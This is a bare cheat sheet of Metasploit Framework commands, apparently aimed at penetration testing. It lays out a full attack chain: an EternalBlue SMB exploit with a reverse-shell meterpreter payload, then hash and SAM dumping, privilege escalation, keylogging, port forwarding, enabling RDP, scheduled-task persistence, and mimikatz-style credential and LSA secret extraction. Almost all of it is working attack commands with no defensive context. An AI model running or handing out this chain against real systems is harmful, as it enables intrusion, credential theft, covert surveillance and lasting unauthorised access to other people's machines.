Metasploit Framework — the world's most used penetration testing framework for exploit development and execution.
msfconsole
msfconsole -q
msfdb init && msfconsole
search type:exploit platform:windows smb
search cve:2017-0144
use exploit/windows/smb/ms17_010_eternalblue
info
show options
show payloads
set RHOSTS 10.10.10.1
set LHOST 10.10.14.1
set LPORT 4444
set payload windows/x64/meterpreter/reverse_tcp
run
check
sysinfo
getuid
getpid
ps
migrate 1234
shell
upload /local/file.exe C:\\Windows\\Temp\\file.exe
download C:\\Windows\\System32\\sam /tmp/
hashdump
getsystem
run post/windows/gather/smart_hashdump
run post/multi/recon/local_exploit_suggester
background
sessions -l
sessions -i 1
keyscan_start && keyscan_dump
screenshare
portfwd add -l 3389 -p 3389 -r 192.168.1.10
run post/windows/manage/enable_rdp
use auxiliary/scanner/portscan/tcp
use auxiliary/scanner/smb/smb_ms17_010
use auxiliary/scanner/ssh/ssh_login
use auxiliary/scanner/http/dir_scanner
use auxiliary/scanner/vnc/vnc_none_auth
use auxiliary/scanner/ftp/ftp_login
use auxiliary/server/capture/http_ntlm
run post/windows/gather/credentials/credential_collector
run post/multi/gather/env
run post/windows/manage/persistence_exe STARTUP=SCHEDULER
load kiwi
creds_all
lsa_dump_sam
lsa_dump_secrets